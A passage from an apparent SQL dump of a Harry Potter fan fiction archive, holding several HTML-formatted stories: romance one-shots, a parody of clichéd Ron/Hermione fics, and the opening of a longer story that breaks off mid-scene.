reunited at the edge of the dance floor. Hermione took one look at Ron&#8217;s flushed, beaming face and let go of Harry to fling her arms around him. He caught her in a breathless hug. &#8220;I&#8217;m so bloody happy,&#8221; he said into her hair. &#8220;It feels like it should have always been this way.&#8221;</p>\n\n<p>&#8220;I know,&#8221; Hermione said, smiling up at him. &#8220;It does.&#8221;</p>\n\n<p>Harry put a hand on Ron&#8217;s shoulder. &#8220;I know what you said to Hermione,&#8221; he said sternly, straightening himself to his full height. &#8220;You know, mate, I swore you to secrecy. I said I&#8217;d curse you halfway to Little Whinging if you told her how I felt.&#8221;</p>\n\n<p>Ron&#8217;s eyes grew wide. &#8220;You can&#8217;t be serious &#8211;-&#8221;</p>\n\n<p>&#8220;I&#8217;m not serious at all,&#8221; Harry said, grinning.</p>\n\n<p>And then the three of them were tangled in a six-armed embrace, and it was just like all those months ago when they&#8217;d first moved to Orthagon Alley, before parties and Quidditch and exams and engagements and suppers together and apart. The Trio at last. Some things would never change, and for that Hermione was immensely grateful; there were no two people she loved more in the world. There would always be the three of them, but now &#8211;-</p>\n\n<p>Some things did change, and that was okay too.</p>\n\n<p>In fact, it was fantastic.</p>\n\n<p>&#8220;Gabrielle,&#8221; Hermione said, breaking apart to look at the wide-eyed young girl who was standing nervously a few steps away, not wanting to disturb their reunion. Hermione smiled at her and held out a hand.</p>\n\n<p>&#8220;Care to join us?&#8221;</p>\n\n<p>THE END.</p>\n\n<hr size="1" width="100%" noshade color="#aca899" align="center">\n\n<p><i>Author\'s footnote:</i>\n\n</p>\n\n<p>Many thanks to all the endlessly patient readers who stuck around for four? (six?) years to read the final chapter of this story, which snowballed into something far beyond my original plans. I published the first chapter of Come Together in 2002, and thought it would be a short little piece of H/Hr fluff.. Little did I know that the story had plans of its own, and it is now the longest thing I\'ve ever written (and completed!), college and graduate thesis projects included. Since starting CT, I\'ve had two kids (!), who are wonderful, but who are also the primary reason I haven\'t been able to finish the fic until now. And with each successive HP canon book that was released, I felt like the HP world was leaving CT farther and farther behind. At long last, with the canon series complete, I was able to return to CT and view it as a true AU story, rather than something in line with canon, which is how it was originally planned.</p>\n\n<p>When I started CT I spent lots of time on the FictionAlley boards, and many of the folks there were very inspirational, especially those of you aboard the HMS Pumpkin Pie. I haven\'t had time to visit in years, but you all were the reason I started this fic in the first place, so thanks, everyone. Thanks also to my LJ crew, who have listened to me gripe about finishing this fic for, literally, years!</p>\n\n<p>Will there be a sequel? At this moment, no plans for one, so please don\'t ask. But I wouldn\'t rule out the idea in the future. (The very <i>distant</i> future...)</p>\n\n<p>And most importantly, hope you liked it. Hope it was worth waiting for. I welcome reviews and criticism of all kinds, although I can\'t promise to reply promptly.</p>\n\n<p>Thanks again.</p> '),
	(10, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A short piece Nappa cajoled me into writing. Hope\nit&#8217;s not too bad. I don&#8217;t usually write fluff.&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dance With Me&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He was the last person she would ever have expected\nto have feelings for. Best friend, check, buddy, check, resident hero, check,\nguy who offered shoulder to cry on when dumped, check, but no, not lover,\nboyfriend or crush. That mop of messy black hair had always seemed like her\nanchor in a storm when she managed to score less than full marks for a test,\ngot dumped by a boyfriend, or went through something that was hard on herself.\nHe was her rock, the one who kept her steady in the ocean full of rigorous,\nhuge waves. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She had known her severe dependence on him long\nbefore she had realized her true feelings towards the person she would have\nalways regarded as her soulmate. He was kind and gentle, understanding - the\nperfect friend and confidant. In fact, he would have made a great Agony Uncle.\nHe had always been there to help, always been considerate and nice. He would\nwake her up from her foolish fantasies or persuade her not to focus too much on\nhomework. In short, she needed him badly, worse than a drug addict needed\nheroin. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">And then in that split second, she had known. He\nhad been dancing with Cho Chang of Ravenclaw, his dream girl as he had told\nher, smiling dreamily at her. For some reason, Hermione felt an ache in her\nheart and a souring jealousy for the lovely Asian girl. Then he had looked over\nand smiled, the joy reaching his emerald eyes as they were fixated on her. She\nrealized she loved him, more than anything; flaws and all. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Just as she was standing there dumbfounded with\nthis new knowledge, he had gracefully let go of Cho&#8217;s hands and come to her,\noffering her his hand. A dance. She was never invited during balls, even though\nshe always dressed up as best as she could. Perhaps she was not glamorous\nenough, or no one wanted to risk defying or offending the Head Girl who was\nfamous for following rules to the letter. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;May I have this dance?&#8221; he said formally, a quiet\nexpression on his face. Hermione realized that she knew each and every contour\nof the face she saw every day, the curves and the bit of a dimple that appeared\nwhen he grinned really widely, even the lightning-bolt scar he was so famous\nfor. She realized that this particular expression contained a slight dash of\nfear. He was afraid she would reject him. Poor deluded fool. Did he think she\nloved Ron? Perhaps her behaviour had not been clear enough. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Over the years, she had become protective of the\nboy she called her best friend, defending him against countless attacks from\nher roommates during each year&#8217;s crisis. Today it was a celebration of\neverything and anything, for Voldemort had died; perished with Albus Dumbledore\nthe previous day. They mourned but they rejoiced too. She laughed and cried\nwith him; shared her deepest thoughts and sorrows with him, and cared deeply\nfor him - so much so that she would revert to the old habit of digging her\nfingernails into her face. She was positive they would leave scars sooner or\nlater. And she had never found a way to explain it. She had brushed it off\ncavalierly as strong friendship and loyalty. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">But now she knew. She knew very well. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">And she saw her feelings in those nervous green\neyes, his tongue now licking his lips in an effort to wet them. She knew that\nvery moment that he loved her too. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione?&#8221; his voice cut in, wavering slightly. It\nwas comical, how the Boy Who Lived was afraid of asking a girl to dance. But\nVoldemort harmed his heart, and her rejection would break it. It was much more\nserious than anything else. She knew from those eyes that it meant the world to\nhim. &#8220;Will you?&#8221; She smiled brilliantly, her eyes sparkling back at his in joy.\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,&#8221; she whispered softly. &#8220;Of course I would.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;THE END </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(11, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Part of the &#8220;Cajoled By Nappa&#8221; series. May form a\ntrilogy&#8230;Enjoy. Hopefully, Draco doesn&#8217;t appear to be too OOC.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Past The Middle Of A Fairy Tale </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She stood at the door to their meeting place,\nignoring the cobwebs and dust that had settled on it since before the Christmas\nholidays, when he had charmed them on to hide any traces. They had both\ninsisted that no one know, even though after each and every moment they spent\ntogether, they had gradually gotten the urge to scream that they were an item\nfrom the Astronomy Tower. Clich&#233;d, yes, but true. And then they would\nbecome afraid, and hesitate to leave the quiet classroom where they were safe\nand together. She knew she felt that way, but the shade of his ever-changing\neyes proved his reluctant feelings for her. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It surprised her how well she knew his face now.\nShe could draw his face as perfectly as if she had a life-size photograph or\nthe boy himself to model after in front of her. She knew every contour, every\nline, the soft laugh lines that would appear by his eyes when he smirked and\nhis unusually girlish vanity which would show when she mussed up his hair. She\nespecially loved the warmth in his eyes when he looked at her, and the smile\nthat reached their cool grey depths only for her and her alone. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She knew that if they were ever found out, their\nfamilies would probably end up fighting somewhere or another, only that it was\nsomewhat unfair. He had his parents, while she had six brothers and two\nparents, too. Of course, with the enormous amounts of house elves whom he hired\n(he had gotten hit with an Unforgivable Curse when he had inadvertently let one\ngo at six years old) they would greatly outnumber her family. She could not\nhelp but smile at the thought of her fierce but loving mother charging with a\nshopping list and her wand at the elegant Narcissa Malfoy. It was a comical\nscene, indeed. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;A Galleon for your thoughts?&#8221; a soft voice came\nfrom behind as warm arms circled her waist and a head nestled against her\ncheek. She smiled despite the discomfort of what she had come here to do. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are my thoughts worth that much?&#8221; she replied\nquietly, knowing what he would answer with as she detangled his arms to face\nhim. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,&#8221; he answered simply, deciding to hug her\ncloser to him for warmth. It was winter now, and the snowflakes could be seen\nfrom the windows inside the classroom. Contrary to what others thought, the\nroom was kept clean due to the house elves who saw fit to keep each and every\nroom spick and span even if they were unused. His smile turned into a mischievous\nsmirk. &#8220;And Draco Malfoy always pays top dollar.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The best for the best, you mean?&#8221; she answered\ndolefully, her mind weighed down with the decision she had to make today. It\nmust have shown on her face. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s wrong?&#8221; he asked, a concerned expression\nnow plastered on his face. It was hard to believe cold, drawling Draco Malfoy\ncould ever be this kind, but she had seen it for herself. Not that he was some\npoor little rich boy who was oppressed - he had detested Muggle-borns until\nHermione had saved him recently from a Death Eater&#8217;s initiation by hitting\nsense into him with some well-chosen words and fists. He was still at odds with\nHarry, but they were civil to each other now, and of course, there was his\nfamed riches, arrogance and sarcasm. Gaping flaws that she loved, though his\nriches didn&#8217;t matter. Occasionally, she let the poor, money-minded part of her\ntake over. Today was not the day for these, though. She had a more important\npurpose. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nothing.&#8221; she wanted to glorify in this feeling of\nsafety and bliss for just a little while more. Just one more embrace before she\nhad to do what she needed to. Just once more would be enough, she decided.\n&#8220;Nothing at all.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re lying,&#8221; he murmured, looking into her eyes\npiercingly. &#8220;Tell me the truth.&#8221; He was serious now, his hands in a tight grips\naround her, almost afraid that she would leave. As though he knew. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We have to end it,&#8221; she whispered sorrowfully, her\neyes beginning to wet as she stared up dolefully at him. She tried to hold back\nthe salty ache in her cinnamon eyes, but failed miserably. The tears ran trails\ndown her cheeks. &#8220;Colin&#8230;&#173;Colin knows. He saw us.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I don&#8217;t care,&#8221; he said resolutely, staring into\nher eyes. &#8220;To hell with all of them.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He&#8217;s going to tell Harry if I don&#8217;t&#8230;&#173;if we don&#8217;t\nend this,&#8221; she stammered, her words turning incoherent as she finally sobbed,\nthe tears running in endless rivulets down her cheeks. &#8220;And then Ron&#8217;s going to\ncome murder you or something, together with all the Weasley clan.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;They could send the entire Ministry after me,\ntogether with the Death Eaters,&#8221; he smirked in a cheerful way that did not seem\nto overshadow the fear that was echoed in Ginny&#8217;s eyes. &#8220;Who are already after\nme, anyway. I won&#8217;t give a bloody hoot. Don&#8217;t say that, please.&#8221; The pleading\nnote in his voice was becoming more and more evident. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;They&#8217;ll kill you,&#8221; she whispered like Trelawney in\none of her trances, as though having a premonition. &#8220;They really will.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I told you. I don&#8217; t care,&#8221; he whispered. He was\nholding her in a vice-like grip now, and she did not seem to mind. It had all\nbegun with Arithmancy, which she had needed tutoring in. McGonagall had\ninsisted that inter-house relations was more important, and assigned him to her\ndespite all objections. &#8220;I love you.&#8221; Her head jerked up in shock, and she\ngazed into his eyes in surprise. He had never said it, though she knew it in\nher heart. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t leave,&#8221; he said in a muffled tone, his head\nstill buried in her hair. &#8220;We could hide, Obliviate Creevey or something&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s too late,&#8221; she responded, the tears beginning\nto flow again. She could feel herself sinking into painful sobs. &#8220;Too late for\nus.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We&#8217;ll go public,&#8221; he announced abruptly, tipping\nher chin to meet his eyes. &#8220;I&#8217;ll take on all of your brothers. Your parents\ntoo, if necessary.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It won&#8217;t be enough,&#8221; she said pessimistically,\nbiting her lip. &#8220;Love just isn&#8217;t enough.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It will be,&#8221; he whispered softly, hugging her to\nhim. &#8220;It is, for us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You know, this is a drastic change from the Draco\nMalfoy who first called me Harry&#8217;s new girlfriend in Flourish and Blott&#8217;s,&#8221; she\nsmiled, nestling her head in the hollow between his shoulder and neck. &#8220;What\nhappened to the twitchy little ferret we all knew?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well, he was saved from his stupid ideals and\naccidentally fell in love,&#8221; he grinned wickedly. &#8220;Nice fairytale, don&#8217;t you\nthink?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">THE END&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(12, 1, ' <p>Author&#8217;s Note: Well I got bored. This is an exageration of a very badly written R/Hr fic. Plenty of them on around, plenty of bad everything fic around.</p>\n\n<p>Please don&#8217;t be offended. All is in the name of humour. This may not be in everyone&#8217;s taste. Flame me all you want, you&#8217;ll just make me feel all warm inside. Hope you have some laughs.</p>\n\n<p>I love&#8230; </p>\n\n<p>Hmm I am SO madly deeply in love with Hermione. All her annoyances, all her bookish virtues just turn me on!</p>\n\n<p>All of our disagreements must be sexual tension. I personally think its foreplay. Rrrowrrrrrrrr&#8230;&#8230;&#8230;</p>\n\n<p>I am so deeply in love with Hermione because she&#8230;she uh&#8230;</p>\n\n<p>Because we fight all the time like married old couples so I MUST be in love with her&#8230;.</p>\n\n<p>I knew that we really cared about each other, which are why we argued and bickered and fought about Scabbers, the rat that I didn&#8217;t care before, but then I actually did care enough to not listen to Hermione. It must be sexual tension. All the times that Draco insulted Harry, I mean Hermione I have stood up for him, uh, I mean her. It\'s because I love her and not because of friendship. Its sexual tension&#8230;..</p>\n\n<p>And my red hair MUST turn her on, cause I&#8217;m dead sexy&#8230;&#8230;</p>\n\n<p>Also the fact that in GoF she told me to stop being jealous and get over it must mean that she loves me, because I&#8217;m deeeaaaadddd seeexxxy.</p>\n\n<p>I knew she was a girl, I mean I loved her since the Yule Dance. I mean it really didn&#8217;t matter who she was going with, she was just a bookworm. But when she walked in with my idol Krum and she was all gorgeous (maybe not ugly anymore) I just fell in love with her perfect teeth, her gorgeous looks. I fell in love with her right there right then. Everything that we do, all our disagreements; it\'s all sexual tension.</p>\n\n<p>When I finally had enough courage to ask her to be my girlfriend&#8230;</p>\n\n<p>&#8220;Ron have you done your essay for Transfiguration yet?&#8221;</p>\n\n<p>&#8220;No, I&#8217;ll do it later! I have to play chess with everyone in the Gryffindors now to show that I stand out from my brothers so that I won&#8217;t be jealous of everyone&#8230;&#8221;</p>\n\n<p>&#8220;But Ron! Its due next period!&#8221;</p>\n\n<p>&#8220;So? You can write it for me then!&#8221; Ron said approaching Hermione.</p>\n\n<p>&#8220;I WILL not! That&#8217;s your job it&#8217;s your marks!&#8221; Hermione yelled back at Ron only inches from his face.</p>\n\n<p>&#8220;Who are you, my mother?&#8221; Ron taunted.</p>\n\n<p>&#8220;What did you call me?&#8221; Hermione replied, she could feel Ron&#8217;s breath on her face.</p>\n\n<p>&#8220;Mommy&#8221; Ron kept on.</p>\n\n<p>They then proceeded on snogging each other senselessly over and over again because its what they do. Harry came in, left a card of congratulations saying their wedding rings are already engraved since 2nd year.</p>\n\n<p>From that day on:</p>\n\n<p>-Every day consisted of a fight about nothing.</p>\n\n<p>-A big blowout, tons of tension&#8230;</p>\n\n<p>-A big snogfest where they snog each other hard anywhere&#8230;on the lake, in the lake, under the lake, in the forbidden forest, with or without Voldemort watching, with Harry in mortal peril or without Harry in mortal peril&#8230;.anytime anywhere&#8230;.</p>\n\n<p>And the Cycle continued&#8230;</p>\n\n<p>Then does that mean that I love Draco? I have fights with him every time he comes near, that&#8217;s even more sexual tension than Herm and me. I must be even more in love with him! It must be because he hates me that I love him! It&#8217;s a love/hate thing! Yes&#8230;</p>\n\n<p>Its official, because I fight with Draco everytime&#8230;I must love him.</p>\n\n<p>I&#8217;m going to go pick a fight with him, then kiss him and we&#8217;ll live happily ever after.</p>\n\n<p>A/N: Once again, don&#8217;t be offended by this amazingly OC and exagerated fic.</p>\n\n<p>Max LoneWolf</p> '),
	(13, 1, '\n\n\n\n<p>---------------------------------------------------------<br>\nIf you are from schnoogle.com, then know that the writing quality is not good compared to the first chapter. It will get better, but beware that the chapters you are about to read started about a year ago. I was a lot more inexperienced then.<br>\n---------------------------------------------------------</p>\n<b></b><p align="RIGHT"><b>Beta Edited and Revised Chapters:</b> 01</p>\n<b></b><p><b>STANDARD DISCLAIMER: </b>This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">----------------------------------------------------<b><br>\nHarry Potter and Septanic Dueling<br>\n</b>(<i>part 1 of 3 in the Septanic Saga)</i><b><br>\n<i>~Nappa</i><br>\n</b>----------------------------------------------------</p>\n<b></b><p align="CENTER"><b>Chapter 01: </b>Exploring No.4 Privet Drive<b><br>\n</b>Japanese Proverb: &#8216;<i>The beginning of love is the end of Happiness</i>&#8217;</p>\n<p>&nbsp;</p>\n<p>After Harry received a clap on the back from Ron, Hermione said good-bye. Then she did something that Harry had never expected her to do- she leaned in close and quickly kissed him on the cheek. </p>\n<p>Harry did not have time to think about the kiss as Fred and George materialized next to him. While George whispered a thanks, Fred at his side nodded his head very fast. Harry was afraid that if Fred continued to do what he was doing, something inside Fred&#8217;s head might come loose. Then he thought otherwise as he remembered the countless things that the twins had done. He winked at them and then turned to Uncle Vernon.</p>\n<p>Harry&#8217;s uncle, the plump, bull-headed man with no neck, started heading towards the station exit. Harry followed, giving a last wave to his friends. He looked out the window as the car quickly passed the station and then the busy streets lined with shops. As the car continued slowly into the residential district, Harry comforted himself with one thought.</p>\n<i><p>There&#8217;s no point in worrying about it&#8230; like Hagrid said, what would come, would come&#8230;</p>\n</i><p>A look of harsh determination passed his face for a few seconds, before he finished his thought.</p>\n<i><p>And I&#8217;ll meet it when it comes&#8230;</p>\n</i><p>Harry&#8217;s back ached as he sat upright on the back seat of his uncle&#8217;s car. Though it was quite an expensive car and had plush leather seats, it really wasn&#8217;t comfortable for Harry to sit on. He was feeling tense from the events of the past year. He looked out the window and watched the number of shops along the streets decrease while the number of houses increased, until there were only houses on both sides of the road with the occasional corner dairy.</p>\n<p>Vernon Dursley looked several times at his nephew in the rear view mirror. The statement on Harry&#8217;s face was that of a person in great pain and even he did not dare rile the boy. However, it was not because he actually gave a damn about his nephew. No&#8212;it was because he was afraid that Harry would lose control of his powers and blow him up like Harry did to his sister Marge two years ago. </p>\n<p>Harry had to make two trips to the get all his school things back into his room. His trunk went to the closet in his room as Vernon wanted the cupboard under the stairs free that year to house some of the materials he ordered for the company that he directed. Once his second trip was finished, Harry locked himself into the room and fell onto the bed. He brought up his knees up to his chest and started to shiver slightly as he rocked back and forth.</p>\n<p align="CENTER">***</p>\n<i></i><p><i>It&#8217;s been three days already,</i> thought Vernon as he nervously paced outside the door to his nephew&#8217;s room.</p>\n<p>Today was the fourth day since Harry&#8217;s arrival back at his house. As much as Vernon loved locking Harry up in his room, he was really quite afraid of what his nephew was doing in his bedroom. Several times that morning, he had knelt down beside the cat flap that he had been using to put meals inside Harry&#8217;s room. Petunia would usually do this sort of thing but she refused to even look at her nephew this summer.</p>\n<p>For the last three days whenever he opened the flap, he saw that the food was still there, uneaten. He was facing a very tough dilemma. If he broke into the room and forced his nephew to eat, Harry might send a letter to Sirius Black, his godfather who was known for murdering good ordinary people, explaining that he\'d been forced to do something. However, if he died of starvation the whole of the magical community would come after him. Vernon knew Harry was some kind of celebrity among those he called &quot;the freaks.&quot; Also there was no telling what Black would do to him if something happened to Harry. </p>\n<p>After pacing for a few more moments, he finally had enough courage to kneel down and check the cat flap. He was simply overjoyed when he saw that the food that had been piled up at the door for the last three days was now all gone. There wasn&#8217;t even a crumb of that horrible meatloaf his wife had made left on the plate.</p>\n<p>Vernon did not know exactly why he didn&#8217;t just go into Harry&#8217;s room and give him chores to do but he suspected that it had something to do with the fact that his company&#8217;s share price had tripled and the dividend that was due to come this week would be almost three times his monthly pay. His delight could be seen as he walked to the kitchen. There was an unmistakable spring in his step as he walked.</p>\n<p>Unknown to Vernon, Harry had spent most of the last three out of four days experimenting with something, in his opinion, so wonderful that he could not be bothered to eat. It had all begun with the nightmare he had on the day he got back from Hogwarts.</p>\n<p align="CENTER">***</p>\n<p>&nbsp;</p>\n<b><p>Four days earlier&#8230; </p>\n</b><p>Though Harry had felt that he could meet the challenge of what was to come, he really had no idea that, once back in his bedroom, his optimism would shatter so quickly. Unable to bear the pain of holding back all that he was feeling, he moved to the bed. He tucked his knees against his chest and started to rock back and forth slightly. Shivers passed through his body with each memory that assaulted his mind. Harry didn&#8217;t know when he finally was able to sleep but he did fall asleep very soon afterwards.</p>\n<p>Yet slumber did not hold the key to Harry&#8217;s salvation from the memories as his mind played the events of the TriWizard Tournament with vivid details. As that horrible scene kept replaying in his mind, Cedric&#8217;s face was constantly being replaced by other faces that Harry had seen in his life. Try as Harry might, he was unable to wake up from his nightmare until he saw the death of one person that he could not bear to live without.</p>\n<p>That was Hermione.</p>\n<p>However, once he was awake, he could not remember who the last person who had died was. The pain of loss had awakened him from the nightmare, but it also took away the cause of pain, the fragment of the dream that had ultimately caused him to wake.</p>\n<p>Sitting up on the bed, with his blanket covering him from the waist down, Harry considered telling Ron or Sirius about his nightmares. He decided against it seeing as his scar had not been hurting. He did not want to bother them or Hermione to worry about him. Especially since, there was not cause to.</p>\n<p>To get his mind off his bad dream, he flicked his gaze to the side of his bed. His bedside alarm clock read 3:00 am. Not wanting to go back to sleep and feeling a bit thirsty, Harry decided to go to the kitchen. In order to avoid awakening the Dursley&#8217;s, Harry silently got out of his bed and very gently opened his bedroom door.</p>\n<p>Half-way down the corridor, he noticed a blue glow coming from Dudley\'s room through the door, left slightly ajar. After the events of TriWizard Tournament, Harry had taken to heart the advice that &#8216;Mad Eye&#8217; Moody, or rather Barty Crouch, had dished out often &#8212; &quot;CONSTANT VIGILANCE!&quot; &#8212; and always kept his wand with him. He reached into his pocket and retrieved it. He shifted his wand from one hand to the other as he moved towards the door. He took a deep breath and poked his head into the room, slowly, attempting to see if &#8212; really &#8212; he was in danger, without any idea as to what he&#8217;d do should he be.</p>\n<p>Dudley had grown even larger than the last time Harry had seen him and that was almost a year ago. Harry noted that the double bed in his room looked a bit stressed under his cousin&#8217;s overwhelming weight, as he lay there on his stomach, sleeping.</p>\n<p>Harry was surprised to see the source of the blue glow. It was the new 29&quot; plasma-whatever TV he had acquired while Harry was gone. But the real surprise came when he actually noticed what Dudley had been watching. It was a late night soft porn flick called &quot;Return of the Arse Avenger.&quot; Harry, being at Hogwarts all year, had never seen anything like it. Naturally, he was intrigued but after a few minutes of stupid pickup lines and senseless plot, Harry lost interest. He felt his stomach make a low rumbling noise. He was thirsty again.</p>\n<p>It seemed odd to him that just because a man showed up at the doorstep of a woman, they would immediately engage in sex. It was unrealistic. He had asked Cho but she hadn&#8217;t wanted to go the ball with him and he had only asked for a date to the ball &#8212; it was far less then sex. It made him wonder if people who made the videos actually knew any girls. Real girls like Hermione, Fleur and Cho, seemed to him like mysteries. Hermione with her odd ideas and love for adventure, and then wearing the pretty blue dress and going to the dance &#8212; a very girl-like things to do, since she always seemed to like things the boys do. Fleur seemed like a snobby girl in the beginning, but once he got to know her, she was kind and nice.</p>\n<p>Harry realized the only way to stop Voldemort from ruling over his life and ruining his childhood was for him to defeat the Dark Lord once and for all. He would never be able to get involved with a girl otherwise. Hermione was just a friend, but she was in a lot of danger because of it. Harry was suddenly glad that Cho had said no. <i>Otherwise, she might have been targeted by Voldemort.</i></p><i>\n</i><p>To do what so many had failed to do before, Harry knew that he would have to be more serious in his studies and probably do a lot of extra work. Extra work could mean that he would need more time for his study. Time he would only get if he stopped going to Quidditch practices &#8212; and therefore the end of Quidditch playing! He really didn&#8217;t want to do that, because it would take away the only way he&#8217;d relax and his means of getting back at the Slytherins, like Malfoy, who took pleasure in making his life a living hell.</p>\n<p>Harry was surprised at his own determination to face his parent&#8217;s murderer. With his nightmare now forgotten and a new resolution for the future, Harry quickly headed to his room. He made sure that he turned the TV off noiselessly as he left. He wasn&#8217;t sure that was a wise move, as it could very well have woken Dudley up. Even if it didn&#8217;t, it might have made Dudley realize that he had sneaked into his room, when he had been sleeping. Turning the television back on was a risk that he simply did not want to take. It might have been more trouble then it was worth.</p>\n<p>Approaching the kitchen, he stepped on a particularly old, squeaking floor board. His heart nearly jumped out of his chest, almost sure that his aunt or uncle had heard it and would be soon barging out of their bedroom. Harry turned and walked back to his room, as fast as he could, without making anymore noise &#8211; his thirst would have to wait. </p>\n<p>Lying in his bed Harry tried actively to think of other things to keep his mind off the nightmare and his increasing thirst. <i>Transfiguration&#8230; everything in there. I need to work on Potions &#8212; Snape isn&#8217;t going to stop making life difficult for me; more chances of him shaving his greasy hair off. </i>Harry mentally smiled. <i>Maybe Hermione can help me in Charms and Defense against Dark Arts&#8230; I&#8217;m going to need to focus on those. I&#8217;m going to be of no use in a duel, if I&#8217;m not in those two.</i></p><i>\n</i><p>Thinking of Voldemort again was not helping him go back to sleep, so he decided to think of his friends. <i>I wonder if Sirius is okay. I hope Remus knows where to keep him safe. I don&#8217;t want him hurt. Maybe he&#8217;ll stay over at Ron&#8217;s house. It&#8217;d be wonderful. I could see him, if I went there. </i>Then Harry&#8217;s mind turned sour. <i>Or not. Maybe I should send him an owl, telling him to stay far away from this country altogether.</i></p><i>\n</i><p>His thoughts then focused on Hermione. <i>I hope she&#8217;s having fun on her holiday. </i>Harry knew that Hermione&#8217;s parents usually took holidays when she was home. He was sure she was overseas &#8212; far from trouble. He remembered how worried she looked at the station. Harry&#8217;s hand moved unconsciously to where she had kissed him, rubbing that spot gently. Hermione had surprised him with the peck on the cheek, <i>but it was probably because she was really concerned</i>, he thought. <i>It had to be, </i>he reasoned, <i>Hermione seemed to like Ron, and that broken arm on the Krum doll must have meant something&#8230;</i></p><i>\n</i><p>His thought trailed to the Weasley clan. <i>I wonder how long before Ron gets his new dress robes. Fred and George, I&#8217;m sure, have already been to Diagon Alley for supplies&#8230; Should I owl them about the dream? I guess not. They won&#8217;t know what to do anyway &#8211; Hermione then?&#8230; no. I don&#8217;t want to worry her again.</i></p><i>\n</i><p>Harry&#8217;s thoughts were getting more and more fragmented, as slumber inched closer to him. It was a while before he finally drifted off to sleep.</p>\n<p align="CENTER">***</p>\n<p>Consciousness brushed his mind, and Harry found himself sitting on the edge of his bed. He looked at the grilled window and found that it was still dark outside. Wanting to go back to sleep he turned to where he usually slept. Surprisingly though, someone was already occupying that place.</p>\n<p>It was him.</p>\n<p>Suddenly, realization struck him. He was dead. <i>Great! The day I decide to be a better student, I die&#8230;,</i> he sulked for a moment. He 